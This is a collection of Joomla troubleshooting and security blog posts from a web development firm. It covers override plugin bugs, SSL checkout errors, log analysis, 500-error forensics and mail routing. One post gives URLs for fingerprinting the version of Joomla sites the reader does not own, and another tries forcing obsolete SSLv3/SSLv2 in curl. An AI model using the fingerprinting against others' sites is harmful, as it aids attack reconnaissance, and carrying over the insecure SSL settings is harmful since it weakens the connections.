Note: This is an advanced post which mentions an unstable extension at the time of writing (November 2016). We suggest you avoid overriding the Joomla core if you’re not comfortable with your programming skills. If you need help with overriding the Joomla core, then you can always contact us!

Until very recently, we used to overwrite the core mainly to resolve performance issues. But, last week, we have discovered a not-so-new extension, an extension called Joomla Override, which allows developers to override the Joomla core. So, we decided to give this extension a chance… But, before delving into the details of our experience, let us explain the difference between overwrite and override.

In case you don’t know already, the basic difference between overwriting and overriding is that in the former, you open a Joomla core file, you make the changes, and then you upload it back. In the latter, you copy the Joomla core file (that you want to override) to a different location and you make the changes there. Obviously, overriding has a huge advantage over overwriting, and it’s that the changes don’t get wiped out with a Joomla update. Another major advantage is that all the overrides are in one location – instead of having them spread over the many folders of the Joomla website.

So, how did our experience go with using the Joomla Override plugin?

In all fairness, the experience didn’t go very well, because the moment we tried to override the Joomla feed of the homepage, we saw the following error on the homepage of the Joomla website:

Fatal error: Class ‘JFeedItem’ not found in templates/[our-client-joomla-template]/code/com_content/views/featured/view.feed.php on line 66

As mentioned above, the error was on the homepage of the Joomla website, and not on the feed page, which we thought was odd. Why would overriding the feed file affect the homepage? So we thought, it might be that we also need to override the view.html.php file (and not just the view.feed.php file), and so we copied the view.html.php file from the components/com_content/views/featured folder to the templates/[our-client-joomla-template]/code/com_content/views/featured folder.

This time, when we refreshed the page, we saw the following (different) error:

Fatal error: Cannot redeclare class ContentViewFeatured in templates/[our-client-joomla-template]/code/com_content/views/featured/view.html.php on line 0

After a long and tedious research of the above problem, we discovered that it was caused by 2 issues:

  • Joomla has the exact same class name in both the view.html.php and the view.feed.php files (for both the category and the featured views in the com_content component). We consider this to be a Joomla bug as Joomla shouldn’t have the same class name in 2 different files.
  • The Joomla Override plugin doesn’t care about the current format, and loads both the view.feed.php and the view.html.php despite the fact that they are almost never needed at the same time.

So, how did we fix the problem?

We fixed the problem the following way:

  • We opened the file component.php located under plugins/system/joomlaoverride/helper
  • Just before the following line:

    if ($params->get('extendDefault',0))

    We added the following code:

    $arrRealFileName = explode('/', $filePath);
    $realFileName = $arrRealFileName[count($arrRealFileName) -1];
    $format = JFactory::getApplication()->input->get('format','html');
    if (stripos ($realFileName , $format) === FALSE)
    	continue;

  • We saved the file and then uploaded it back. We then refreshed the homepage, and the problem was fixed!

Did things go smoothly afterwards?

Well, not really. We discovered that there were some important core files that we were not able to override. For example, we wanted to override the file cms.php which is located under the libraries/cms/application/ folder, mainly so that we can disable session activity for visitors , but we weren’t able to. Even if we were able to, the override was useless, simply because session activities take place before any plugin is loaded. So, we had to overwrite the cms.php file instead of overriding it.

In total, we had to overwrite about 4 files for a large Joomla website, which wasn’t that bad, but wasn’t that good either. In addition, we were faced by several problems when we used this extension (including the one in this post), all of them were hard to fix. Because of that, we can’t recommend using the Joomla Override plugin, in fact, we recommend against using it, until it is stable enough.

If you want to override/overwrite some core files on your Joomla website, then please contact us. We will amaze you with our professionalism, cleanliness, and our super affordable fees!

How to Create a Custom HTML Module in Joomla’s Backend

Sometimes, large companies have some text that they want to display somewhere on the backend of their website for their staff. The text might consist of editing instructions, a legal disclaimer, or a general announcement. Now, on the frontend, it is very easy to display such a text by using a Custom HTML module (nowadays, it is called Custom module, without the HTML), but how about the backend?

Well, luckily, the backend also has a Custom module that can be used the same exact way as a site Custom module. Here’s how you can use it…

  • Login to the backend of your Joomla website.
  • Click on Extensions -> Modules.

  • On the top left (just below the green New button), choose Administrator from the dropdown that displays Site.

  • Click on the green New button on the top left.

  • Choose Custom from the Select a Module Type page.

That’s it! Now the only thing that you need to worry about is the position of the module – which should be very easy to figure out once you click on the Position dropdown on the right. Note that you must know which administrator template you are using in order to choose the correct module position. If you don’t know which template you’re using, then just click on Extensions -> Templates, and then, in the dropdown that has Site in it, choose Administrator. The administrator template that you’re using has a yellow (or is it amber?) star next to it.

Is the administrator Custom module the exact same as the site Custom module?

While both modules are very similar, they are not the same: the administrator Custom module and the site Custom module use different files (they do not share the same files), and the files have some slightly different code.

Can the module’s layout be overridden?

Well of course. All you need to do is to create to copy the default.php file from under the administrator/modules/mod_custom/tmpl folder to the administrator/templates/[your-joomla-administrator-template]/html/mod_custom folder (you will need to create the mod_custom folder if it doesn’t exist).

We hope that you found our little guide above helpful in creating Custom HTML modules in the backend of your Joomla website. If you need help with the implementation, then please contact us. We’ll do the work for you swiftly, professionally, and for very little money!

“Unknown SSL protocol error” on Joomla’s VirtueMart Checkout

A client of ours emailed us yesterday and told us that clients weren’t able to checkout on his VirtueMart store. He told us that they were seeing the following error:

Unknown SSL protocol error in connection to www.eprocessingnetwork.Com:443

We did a quick research on the issue and it looked like it was caused by an update to the SSL certificate on the destination (e.g. on the eProcessingNetwork website), and so we tried adding the following code in the authorizenet.php file (just immediately after curl_setopt($curl_request, CURLOPT_RETURNTRANSFER, 1);), which is located under the plugins/vmpayment/authorizenet folder of the Joomla website:

curl_setopt($curl_request, CURLOPT_SSLVERSION, 3);

We tried the transaction again and we had the same problem. And so we flipped the 3 in the above line to 2:

curl_setopt($curl_request, CURLOPT_SSLVERSION, 2);

Still, we had the same error.

And then we thought, what if the OpenSSL library on the source server (e.g. on the server hosting the Joomla website) was outdated. So, we logged in to the WHM account, and we saw a big yellowing warning on the top stating the following:

Red Hat® will deprecate all CentOS 5 systems on March 31, 2017. cPanel, Inc. and Red Hat will no longer provide your operating systems with updates or security fixes. You must migrate your server to a CentOS 7 server with the Service Migration Tool to ensure that your server remains up to date. You must contact your hosting provider for a destination server.

Aha! So the server was using a very old version of CentOS (which is CentOS 5), hence the outdated OpenSSL library. That meant that the only solution to the problem was to update the OS on the server, and so we initiated the update process with the hosting company, and they took care of the rest.

We started testing the website immediately when the update to CentOS 7 was done, and, unsurprisingly, payment processing worked again! The problem was fixed!

We hope that you found our little post helpful and that it helped you fix the checkout problem on your Joomla website. If it didn’t, then please contact us. We’ll fix the problem for you quickly, professionally, and for very little money!

A Downloadable List of the Top 500 User Agent Strings on a High Traffic Joomla Website

This morning, we thought we had a little time to do something fun, and so we created a command to generate a list of all user agent strings (or signatures) on a very high traffic Joomla website that we maintain. “Why is that?”, we hear you ask… Well, because 1) we were curious about which user agent signature is the most common on the Internet, and 2) we had some security concerns because of the 500 HTTP Errors that we found a few days ago on that particular website and which were caused by a fake user agent signature.

So, what is the most common user agent string as of October 2016?

Well, if you really are interested, then the most common user agent string (as of October 2016) is (drum rolls, please):

Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

In case you’re wondering which browser the above user agent string belongs to, then it’s FireFox (we love FireFox, although we have to say it’s becoming more memory hungry with each iteration).

And what are the top 500 user agent strings?

A list containing the top 500 user agents strings can be downloaded here. The original raw list contained 53530 unique user agent strings (that’s unique, in case you didn’t notice the underline), and we generated it by issuing the following command in the Linux shell (note that the below will just return the top 500 user agent strings, if you care about the whole list, then you should delete this part | sed -n 1,500p from the below string):

awk -F\" '{print $6}' [ourclientjoomlawebsite].com-Oct-2016 | sort | uniq -c | sort -k1nr | awk '!($1="")' | sed -n 1,500p > user-agents.txt

We know that you’re curious about the above set of commands, so let us dissect them for you:

  • The first command…

    awk -F\" '{print $6}' [ourclientjoomlawebsite].com-Oct-2016

    …grabs the 6th column from the deflated Apache log file. The 6th column is typically the user agent string.

  • The second command…

    | sort

    …uses the list returned by the first command as input (which is a raw list of all the user agent strings), and sorts it by user agent (this is necessary for the subsequent command).

  • The third command…

    | uniq -c

    …creates a unique list of all the user agent strings (out of the result of the second command), where each line consists of a user agent string, preceded with the number of times that that user agent string occurred in the logs.

  • The fourth command…

    | sort -k1nr

    …sorts the list returned by the previous command by number of occurrences of user agent strings descending.

  • The fifth command…

    | awk '!($1="")'

    …removes the first column (which contains the number of occurrences of each user agent string).

  • The sixth command…

    | sed -n 1,500p

    …returns the first 500 lines (e.g. the top 500 user agent strings, ordered by number of occurrences, descending).

  • The seventh command…

    > user-agents.txt

    …redirects the output to the user-agents.txt file.

As you can see, it’s not that hard once it is explained! Nevertheless, one has to admit it’s a bit hard, however, it clearly highlights the power of shell commands in Linux (if you’re a PHP developer, then imagine how much code would be needed to do all the above in PHP).

If you decide to run the above set of commands, then please keep in mind that it will take about 10-15 minutes to process a 10 GB log file even when using a relatively powerful server with an SSD drive.

A couple of notes about the generated file…

The Apache log that we have used to generate the list is that of a very professional website, which main visitors work for professional companies and governmental agencies. Additionally, the website in question has the absolute majority of the known spam bots blocked (which explains the absence of many mainstream spam bots in the list).

We hope that you found this post fun and useful. If you need help generating an even more interesting set of information from the Apache logs of your Joomla website, then please contact us. We are particularly fond of Linux (and awk), we love our job, we love our clients, and we won’t charge you much!

How to Quickly Know the Version of any Joomla Website

Let’s say you want, for one reason or another (hopefully a good reason), to know the version of a Joomla website that you don’t own. You don’t have FTP/sFTP access to the site’s filesystem, you don’t have access to the backend, and you don’t know the owner. So, what do you do?

Well, for the absolute majority of Joomla websites, there is at least one file that you can check that will tell you the exact version the Joomla website is running.

For Joomla websites >= 1.6.0

Joomla websites, ever since version 1.6.0, have a very easy method that reveals their exact version (which may or may not be a good thing), all you need to do is to access the following URL:

http://www.[thejoomlawebsite].com/administrator/manifests/files/joomla.xml

The above URL will display an XML file containing the site’s version in the version XML element.

Yes – it’s scarily easy, huh! It also applies to all versions of Joomla from 1.6.0 until 3.6.3 (including, of course, all the versions in the 2.5.x line), which is excellent!

For Joomla websites >= 1.5.0 and <= 1.5.26

Joomla websites in the 1.5.x line do not have the joomla.xml file, but there is another link that one can check, which is this one:

http://www.[thejoomlawebsite].com/language/en-GB/en-GB.xml

You can clearly see, in the XML version element, the version of the Joomla website in question. However, the problem here is that this method only reveals the major version, and not the minor version. The minor version is typically guessed by checking some core JavaScript files under the media/system/js folder.

For Joomla websites < 1.5.0

Before you say anything, yes, there are still some Joomla websites on the Internet using the 1.0.x versions (in fact, we worked on one back on Sunday). In order to know if a Joomla website is version 1.0.x, then all one needs to do is to check for the existence of a custom.xml file by visiting the following URL:

http://[thejoomlawebsite].com/modules/custom.xml

Similarly to the Joomla 1.5.x line, the Joomla 1.0.x line does not have a straightforward method to accurately determine the minor version of the Joomla website (for example, if it’s using version 1.0.0 or version 1.0.15). However, JavaScript files in the includes/js folder typically reveal information (such as file revisions) that will help determine the minor version of the Joomla website.

In short…

  • If the link http://[thejoomlawebsite].com/modules/custom.xml works: This is a Joomla 1.0.x website.
  • If the link http://www.[thejoomlawebsite].com/administrator/manifests/files/joomla.xml works: This is a Joomla website with version >= 1.6.0, and the exact version number is stored in the version XML element of the file.

  • If none of the above links works, then the Joomla website is a 1.5.x website.

Again, the above assumes that you don’t have filesystem access to the website. If you do have access to the filesystem, then you can check the file version.php which tells you the exact version of the Joomla website. Unfortunately, the version.php file is not present in a standard location. Luckily, however, you have itoctopus on your side to let you know of its exact location for each Joomla version:

  • For Joomla 1.0.x websites: The file version.php is located under the includes folder.
  • For Joomla 1.5.x and Joomla 1.6.x: The file version.php is located under the libraries/joomla folder.

  • For the short lived Joomla 1.7.x: The file version.php is (oddly) located under the includes folder (which is similar to 1.0.x websites).

  • For Joomla 2.5.x and Joomla 3.x: The file version.php is located under the libraries/cms/version folder.

We hope that you found this post useful. If you didn’t, or if you have just discovered (after following the above guide) that you are running a very old version of Joomla and you have decided that you want to update it, then please contact us. We are always here for you, we do the job right, and our fees are super duper affordable!

500 HTTP Errors – Revealing Vulnerabilities on Your Joomla Website

One of the biggest mistakes that system administrators make when analyzing the Apache server logs, is that they ignore many of the “500” HTTP errors (also known as Internal Server Errors). They think that these fatal errors – if they are not happening on legitimate pages, then they are not worth investigating. Little do they know that there is usually much more beneath the surface. Let us give you an example…

This morning, as part of a routine security check on a Joomla website, we ran the following grep command to get a list of all the pages that generate 500 errors:

grep ' 500 ' ourclientjoomlawebsite.com-Oct-2016 > 500-errors.txt

(Note: The file ourclientjoomlawebsite.com-Oct-2016 is the Apache access log file for the website ourclientjoomlawebsite.com).

When we examined the 500-errors.txt file, we saw the following fatal error, many times:

[ip] - - [16/Oct/2016:14:14:09 -0400] "HEAD /component/mailto/?tmpl=component&template=template-name&link=http://www.ourclientjoomlawebsite.com/category-1/page-1.html HTTP/1.1" 500 - "-" "Mozilla/5.0 (compatible; um-LN/1.0; mailto: randomemail@[anotherdomain.com])"

Now, if you just copy and paste the above link to a browser (of course, you will have to append the domain name in front of it), then you will notice that the link works (it will show the “Send this Article to a Friend” form), but there’s more to it…

The user agent, which is the root of a substantial amount of evil in the online world, has an email in it. Obviously, such a user agent is fake, and has been specifically tampered with to crash the Joomla website, and it did do its job!

The thing is, not a single request on a Joomla website (or any other website, for that matter) should crash it. A solid website should handle any request gracefully, and should never crash, because a crash is a huge positive sign for a blind SQL injection (which may lead the way for an actual exploit).

Naturally, we fixed the problem by 1) addressing the issue in the mailto extension, and 2) by cleaning up the $_SERVER[‘HTTP_USER_AGENT’]. But, we thought, what would have happened if we didn’t examine the server logs this morning? Would it have been possible for the attacker to exploit the website? The latter thought sent chills through our spines, because the website in question was for a very important client of ours.

So, as a system administrator on a Joomla website, it is up to you to examine the server logs for “500” errors, and it is up to you to immediately report any of these errors to your developer(s). If you don’t have any developers to handle these errors, or if you need help performing the log analysis on your website, then please contact us. We are always happy to serve and our fees are super affordable!

A High PHP Memory Limit in Joomla = An Invitation for DoS Attacks

Occasionally, Joomla administrators face the infamous allowed memory size error which forces them to increase the memory_limit value in the global php.ini or in a local .user.ini file by adding the following line:

memory_limit=256M

The above code will increase the memory limit to 256 megabytes, which is more than ample for any Joomla website out there. Now, the thing is, the absolute majority of the times, Joomla administrators increase the memory limit to allow an occasional usage of a certain Joomla functionality, such as updating the Joomla website or installing an extension. Once the update is done or the extension is installed, then there is no need for the high PHP memory limit anymore.

Unfortunately, most Joomla administrators do not revert back the changes they did to the PHP memory limit – mainly because they think it’s better this way (it did fix the problem – didn’t it?). But it’s not – in fact, a high memory limit makes a DoS (Denial of Service) attack easier and much more dangerous. Let us explain…

The PHP memory limit defines how much memory each PHP page is allowed to consume – so if, for instance, you have a memory limit of 256 megabytes, then, assuming a worst case scenario, merely 8 simultaneous page views can take up 2 GB of your server’s RAM. So, if an attacker knows of a page on your website that consumes a lot of memory, then the attacker can simply release some bots on that page and quickly bring your server to its knees by exhausting all of its (the server’s) memory.

But what is an ideal PHP memory limit?

Ideally, a page on a Joomla website should not consume more than 32 MB of memory (and that’s very generous). If you find that on some pages (with the exception of the core update page) your Joomla website needs more memory than that, then you might be a victim of a bad Joomla programmer. In that case, you will need some Joomla experts, such as (ahem) us, to address this issue for you. Just contact us and and we’ll fix the problem for you in no time and for a very reasonable price!

The Dangers of Relying on Joomla’s Banners Extension for Advertising

We just got a call from a new client, telling us that she was perplexed about the fact that the number of banner impressions on her Joomla website is unrealistic. She said that her Joomla website is getting about 10K visitors/month according to Google Analytics, but the number of impressions counted on her Joomla website are almost double that number.

Our immediate answer was: “yes – this is normal”, to which she replied: “How?”, and we replied: “Google Analytics only counts the net traffic to the website, so, it excludes all bots and spam traffic. Joomla doesn’t have the mechanism in place to discount that traffic, and so the traffic figures (from Joomla’s perspective) are highly inflated – hence the huge discrepancy.”

“Bummer!”, she said, “what are we going to do? We need to sell advertising to potential clients and we don’t have the correct number of impressions. Is there anything we can do now?”, she asked. We told her that for now she can communicate the numbers to the advertisers along with a disclaimer that these numbers may be highly inflated, but for the future, that she must use Google DoubleClick to manage her ads. The nice thing about Google DoubleClick is that it displays the exact number of impressions, and the exact number of clicks, and it automatically excludes all non-desirable traffic from the actual traffic numbers. The other nice thing about it is that it’s free (unless the website serves more than 90 million impressions/month – in which case publishers must pay money for Google).

So, does the above mean that the Joomla Banners extension is useless?

Yes – it does – we can’t think of a single reason which makes the Joomla Banners extension a practical ad management tool in today’s world wide web (in fact, two years ago, we have stated that this extension must be removed from the Joomla core). Maybe it was useful back in the early 2000s (back in the Mambo era), but, in 2016, there is not one reason for such an outdated extension to exist. Unless Joomla plans to integrate a webspam engine in its core, then the Joomla banners extension should no longer exist in the core.

If you are currently using the Joomla Banners extension and you just discovered that its statistics are way off and you want to implement Google DoubleClick, then we’re here to help. All you need to do is to contact us and we’ll take care of the whole thing swiftly, cleanly, and affordably!

SQL Injection in Joomla – Is It Still a Concern?

The last time we had a case of SQL injection on a Joomla website was a long time ago – and the affected Joomla website was a Joomla 1.5.10 website (which is highly exploitable – even by Joomla 1.5.26 standards). Since then (we are now in October of 2016), we have not seen a single case of SQL injection on a Joomla website.

Does that mean that Joomla is more secure now?

Well, Joomla is much more secure now than anytime in the past, but that is not the only cause leading to the significant drop of SQL injection attacks on Joomla websites. In fact, there are other, more important, causes for this drop:

  • Security tools on servers becoming mainstream: A few years ago, ModSecurity was installed on a very small percentage of servers. Nowadays, almost all servers come with ModSecurity installed and enabled by default (hence the increase of quirks on Joomla websites caused by ModSecurity). ModSecurity is excellent in blocking patterns that may lead to a SQL Injection attack.
  • A more rigid process for accepting Joomla extensions: Joomla extensions were notorious for being insecure. But, as of a couple of years ago (when the JED was revamped), the once lax process of accepting and testing Joomla extensions evolved into a more serious and rigid process, quickly rejecting extensions that do not meet the Joomla security standards. Additionally, the process of immediately suspending vulnerable extensions (and publishing them on the the VEL [the Joomla Vulnerable Extensions List]) has forced developers to ensure that all user input is filtered properly in their extensions.

  • A lack of attackers’ interest in SQL injection: Attackers follow the trends, and SQL injection is no longer the trend. In fact, the current trend is to initially upload a few files and then overwrite some core files, ultimately controlling the website and use it to attack other websites and/or use it to download malware to innocent visitors’ computers. Attackers are simply no longer interested in altering the database in any way (for unknown reasons), even though they could (if the attacker is able to upload one file – just one file – to a website, then he can potentially read the main configuration file and then gain easy access to the database).

We think that the last point is the most important one of the lot – it is the mysterious absence of interest in modifying the database (by the attackers) that has contributed the most in the huge drop of SQL injection attacks. One would think that the attackers have a syndicate that decides which types of attacks are allowed and are not allowed – and it seems that some time ago, the syndicate has decided that SQL injection attacks are no longer permitted.

Whatever the real reason behind this is, we hope that SQL injection attacks remain very low on Joomla websites, because database hacks are the worst type of hacks on any website.

So to answer the question of this post – is SQL Injection in Joomla still a concern? – then the answer is yes – it is – simply because vulnerable websites can still be easily SQL injected – but it’s just that the attackers have elected to stop doing it, and it may be only a matter of time before they revert back to their old habit.

Now if you, our dear reader, are one of those unfortunate Joomla administrators whose website experienced the worst type of hacks, then fear not, all you need to do is to contact us. We’ll cleanup your website and we’ll secure it for you quickly, efficiently, and affordably!

HubSpot Adding Weird Tracking Code to Links on a Joomla Website

Some time ago, while performing daily maintenance work for one of our large clients, we noticed that some of the external links that they had had some weird hash in them. What was interesting is that all these external links that had this problem were domains owned by the client. A little digging into the HTML code unveiled that the problem was caused by HubSpot.

We communicated this issue to HubSpot, and they confirmed to us that this is because the client elected to track the outgoing traffic from their main website to sister websites, and that was the only way for HubSpot to do the cross-domain tracking. At that time (that was months ago), we told HubSpot that we were concerned that these weird hashes may cause content duplication issues, as they may get indexed by Google. They replied that this shouldn’t have a problem whatsoever, since all the pages on the website had canonical URLs, which means that these weird hashes will not result in many variations of the same pages, which in turn means that Google will not index those variations.

Fast forward to a couple of weeks ago (yes – we prepared this post a couple of weeks ago – but we didn’t have the time to publish it until today), where it was a completely different story. The moment we logged in to the Google Search Console of that particular website, we discovered that thousands upon thousands of pages such as http://www.[ourclientjoomlawebsite].com/page-1.html?__hstc=[long-hash]&__hssc=[medium-hash]&__hsfp=[small-hash] (where long hash, medium hash, and small hash were long, medium, and short random strings) were 404 pages. Huh?

After analyzing the issue while in super panic mode, we discovered the sequence of issues that were causing this mess:

  • The Google bot visits a page on the website.
  • The visited page contains a link to a non-existent page on a sister website.

  • The link has the HubSpot tracking code appended to it.

  • Google tries to visit the link and thus results in a 404 error for that link.

  • Since the link is a 404 link, then the whole canonical concept does not apply to it, which means that Google ends up visiting many variations of that same 404 link, and thus resulting in many 404 errors. This is a huge issue because it highly inflates the 404 count of the website (which has negative SEO impact.

Of course, the root of the problem was the 404 link, but the problem was amplified by HubSpot‘s tracking code. We brought up this issue with the client, and we presented them with a couple of options:

  1. We fix the 404 links – which means that we will risk having the same series of events in the case of new 404 links.
  2. We disable tracking on auxiliary (sister) websites.

The client went with the second option, mainly because they were completely disturbed by all these weird hashes they were seeing on their website. As usual, we happily obliged! Here’s how:

  • We logged in to the HubSpot account of the client.
  • We clicked on Reports -> Reports Settings.

  • Under Domains, we unchecked the Enable checkbox under Automatic cross-domain linking.

  • We saved the form and then we checked the website, and hooray, all these annoying hashes were gone!

We think that HubSpot‘s strategy for tracking outgoing traffic is somehow flawed: the whole concept of adding weird hashes does not fly well on serious websites. Additionally, as we have demonstrated above, this strategy can cause SEO issues.

If you see weird hashes in some of your URLs after adding HubSpot to your website, then you should uncheck the Automatic cross-domain linking feature in HubSpot. If you need help in doing that, then just contact us and we will gladly do it for you. Our fees are affordable, our Joomla expertise is second to none, and we will strive to be your friends (but not in a cable guy kind of way).

Yet Another Login Loop in Joomla’s Backend

Login loops are probably the most complex problems to fix on a Joomla website. Here’s the scenario: you go to the login page of the backend of your Joomla website, you enter your username and password, you click on the blue Log In button, but, to your surprise, you are redirected back to the login page with no error.

The thing is, we have encountered this problem many times before, and still, each time a client tells us that he has this issue on their website, we swallow about 8-10 aspirins, and we brace ourselves for a very, very long night… Unfortunately, yesterday (a Sunday), we were unlucky enough to work on this issue…

Yesterday started as very beautiful day, very sunny and with a very blue sky (which is not very common in Montreal), but it got cloudy pretty fast when a new client contacted us with the most terrible news: he wasn’t able to login to the backend of his Joomla website, and every time he tries to login he is redirected back to the homepage.

The reason why the news were that terrible is because we have yet to see two of these login loop problems caused by the same root issue. Each of these login problems is unique, as well as its solution. Still, were started the work with a healthy amount of optimism. But, as we later learned, optimism is a fickle friend, who jumps a sinking ship at the nearest opportunity!

We started the work by trying to find whether the cause of the problem is one that we have encountered before:

  • Is the tmp physical path (the $tmp_path variable in the configuration.php file) correct and writable by the web server?
  • Is the log physical path (the $log_path variable in the configuration.php file) correct and writable by the web server?

  • Is the cookie domain (the $cookie_domain variable in the configuration.php file) empty?

  • Is the plg_user_joomla plugin enabled? Is the plg_authentication_joomla plugin enabled? (Note that we used phpMyAdmin to check for the value of these two plugins in the #__extensions table).

  • Is the session handler (the $session_handler variable in the configuration.php file) set to database?

  • Are all types of cache disabled?

As you may have probably expected, all the above were OK – if they were not OK, then what is the point of this post? So we decided to take a more aggressive approach to solve the problem…

We started our aggressive approach by overwriting the Joomla website with a fresh copy of the same version of Joomla using our super quick famous technique for cleaning up Joomla websites, but that didn’t work!

So the next step in our aggressive approach was to check the controller.php file (located under the administrator/components/com_login folder) which is the entry file responsible for logging in the user (there are other, deeper files that effectively handle the login, but this is the entry file). A thorough debugging of the file revealed that the problem lied in this line:

JSession::checkToken('request') or jexit(JText::_('JINVALID_TOKEN'));

If you’re a close follower of our blog, then you may remember that we have published several articles on Joomla’s invalid token error. In fact, in one of our blogs, we concisely explained how to get rid of the invalid token error once and for good. But, we didn’t want to do apply this fix for that client because 1) he was using the latest version of Joomla, and 2) there shouldn’t be a reason for him to see that error on his website in the first place, and 3) this is a last resort solution.

So, obviously, the issue is caused by a problem with the session storage, but we have already checked everything – literally everything having to do with the session, so why do we have a problem with session storage? At this point, we were only able to think of one culprit: a Joomla update that left some reminiscent files from a previous version… So we compared the files of the Joomla website with those of a fresh Joomla website (having the same version), and we noticed that there were some extra files/folders in our client’s websites (reminiscent files from a previous Joomla version). We deleted the extra files and folders and we tested this problem again, but still, it didn’t work.

In order to break the series of unfortunate events (yes, we are alluding to the movie here), we called our moms so that they can give us much needed morale, and they did. We then relaxed for a bit and then started attacking the problem again! We thought, hey, there is this one file that we haven’t checked yet and that we credit with a not-so-small percentage of all the evil in the world (let alone Joomla): it is the .htaccess file. So, we opened the .htaccess file, and, in its very beginning, we saw the following 2 lines:

Header set Set-Cookie "VC-NoCache=1; max-age=900; path=/"
Header set VC-NoCache "1"

Huh? What is that, we thought? Is that something that has to do with caching? Let’s just comment out these 2 lines and see if that takes care of the problem, and it did! We were able to login without being affected by the vicious and ruthless login loop. We were happy but we were tired – it was a frustrating and a scary experience!

If you, our dear reader, are on the brink of deleting your whole Joomla website (and business) because of this error, then please check our previous posts about this issue (which are linked to in the beginning of this article), and also make sure that you don’t have something in your .htaccess file causing this problem. If you are not able to solve this problem, then just contact us and we’ll take care of it. But, before doing that, please make sure you check our fees and please don’t forget to send us a blindfold and a cigarette – we may need them!

“500 – Unable to load renderer class” Error on Joomla

A Joomla designer called us this morning and told us that he was seeing the following error when trying to load the Joomla website of his client:

500 – Unable to load renderer class

He told us that this whole thing happened after switching to a new template, and that reverting back to the old template did fix the problem for him (but he really needed the new template to work). This little piece of information was super useful for us, as it narrowed down our search area from all of the Joomla website, to a specific template.

So, we opened the main index.php of the problematic template, and it didn’t take us long to figure out where the problem lied. It was this line:

<jdoc:include type="logo" name="modules" style="none" />

The thing is, logo is not a jdoc type – it is a jdoc name. So, we changed the above line to this one…

<jdoc:include type="modules" name="logo" style="none" />

… and that fixed the problem!

But what are the allowed jdoc types?

In case you’re wondering, the allowed jdoc types are the following:

  • component
  • head
  • message
  • module
  • modules

If one of your jdoc types is not not in the above list, then you are likely to see the “500 – Unable to load renderer class” error on your Joomla website.

We hope that you found this very shot post helpful (we’re not fond of short posts at itoctopus) and we hope that it solved your problem. If it didn’t, then please contact us. We are always glad to help, our work is super professional, and we don’t charge much.

You Can’t Receive Emails to Your Own Domain from Your Joomla Website? Read This!

Last Monday, we received an email from a company (which is a client of ours) stating that any email sent from their Joomla website to an email to their domain isn’t being received. For example, assuming that their Joomla website is ourclientjoomlawebsite.com, and the Joomla website tries to send an email to admin@ourclientjoomlawebsite.com (the email, in the case of our client, was a notification email from an RSForm form), then that email doesn’t get delivered.

When they first told us about the problem, we insisted that the problem was caused by missing SPF settings, and so we told them to add the IP of their server to the SPF record in their DNS (they were using Office 365 for their mail), but they didn’t do that. The next day (Tuesday), the IT Manager working for the client called us and told us that the email wasn’t even caught in a spam filter by the mail server – so, most likely – the email wasn’t even sent by the server which was hosting the Joomla website, so it’s definitely not an SPF issue. He then mentioned that they receive notifications from their Joomla website to Gmail and Yahoo accounts, but they don’t receive them when they are sent to company emails. We thought, that was strange, but we insisted that they add the IP of the server to their SPF records, just to see if that solves the problem. Finally, they did – but, to our regret (and shame, and humiliation, and embarrassment, and disgrace, and…), that didn’t fix the problem.

The IT Manager then emailed us the negative results, urging us to see if the issue is caused by RSForm, the Joomla website, or the server. So we did (today), and the first thing that we examined was the exim logs the following way:

  • We ssh’d to the server.
  • We changed to the /var/log/ directory by issuing the following command:

    cd /var/log

  • We searched the log for any entries pertinent to the affected email address:

    grep -R "admin@[ourclientjoomlawebsite].com" *

  • We saw the following results:

    exim_mainlog:2016-09-23 15:11:20 1bn9Oy-000DDQ-73 <= no-reply@[ourclientjoomlawebsite].com U=**** P=**** S=1662 id=cfc73da22404d08163d64fbbab9316b5@www.[ourclientjoomlawebsite].com T="New submission from 'Contact Us'!" for admin@[ourclientjoomlawebsite].com exim_mainlog:2016-09-23 15:11:20 1bn9Oy-000DDQ-73 ** admin@[ourclientjoomlawebsite].com R=virtual_aliases: No Such User Here

Hmmm! Looking at the above was enough for us to explain what was going on. The server hosting the Joomla website had its own mail server, and that server thought that it was responsible for all email accounts belonging to ourclientjoomlawebsite.com (which was wrong, since Office 365 was responsible of these email accounts), and so the exim mail application was checking the internal (server) database for the existence of these accounts, and then silently failing when it’s not able to find them.

So, how did we fix the problem?

Fixing the problem was quite easy:

  • We logged in to the cPanel account of the domain.
  • We clicked on MX Entry under Email.

  • We selected our client’s domain and we chose Remote Mail Exchanger in the Email Routing section.

  • We clicked on the Change button.

  • That’s it!

After doing the above, we tried sending a notification email from the Joomla website (we did that by filling out an RSForm form), and, guess what? It worked! In fact, we knew that it worked because the client sent us an email a few seconds after we submitted the form telling us that the problem was solved! We were happy and the client was happy, which is always ideal in our line of job!

How come the fix worked immediately?

Technically, the fix didn’t consist of any DNS changes which usually take time to resolve. The fix consisted of a small setting change on the server, telling it that it’s not responsible for routing emails (and that the routing of emails is handled by an external server). These kind of setting changes take effect immediately, and they don’t even require restarting the mail server.

What about our ego?

We admit it – we started this task with an inflated ego. We were confident that the problem was caused by SPF settings and we didn’t listen carefully to what the client was saying. That was a mistake but the consequences of that mistake were not. In fact, we were humbled when we found out that we were wrong (after insisting that we were right), and we were gently reminded that an inflated ego attitude is a bad thing in our business, and that we should always, always, listen very carefully to the client.

We hope that you found this post informative and that it helped you solve your problem. If it didn’t, then please make sure that your SPF settings are correct. If they are, or if you feel that this whole thing is a bit over your head, then fear not, we’re here to help! Just contact us and we’ll take care of this issue for you in no time and for a very affordable fee!

The Illogical Ordering of Articles on Joomla 3.6.+

Note: This post is a rant! Proceed at your own risk!

When Joomla 3.6 was released, most of those who updated their websites started complaining: I added a new article, but I can’t find it anywhere on my website. What is the problem?

The problem is that someone (you know yourself if you’re reading this!), who suddenly decided to become a Joomla core developer (that someone has never developed anything on Joomla before), enhanced the adding of new Joomla articles by giving newly added articles the last possible ordering. In other words, let’s say that you have 100 articles, all in the same category. When you add a new article to your website, the article ordering of the new article is 101.

Now, that someone (we will not refer to him as a developer and we will explain later why), thought that he made a breakthrough in the science of Joomla: by using very little code he made the process of adding new articles much faster on large Joomla websites. How is that? Well, in Joomla versions 3.5.1 and prior, when a new article was added, it was given the ordering “0”, and all the other articles’ orderings were shifted by 1. The shifting part is an expensive process in MySQL, especially if the website has many articles. By avoiding the shifting process, the adding of new articles became immensely faster.

But, what is the problem?

Well, the problem is that this enhancement breaks the default ordering functionality in Joomla. So, if an administrator adds an article to his Joomla website and is using the Article Ordering sorting feature for ordering his Joomla articles, he won’t be able to see that article neither in the frontend nor in the backend unless he browses to the last page.

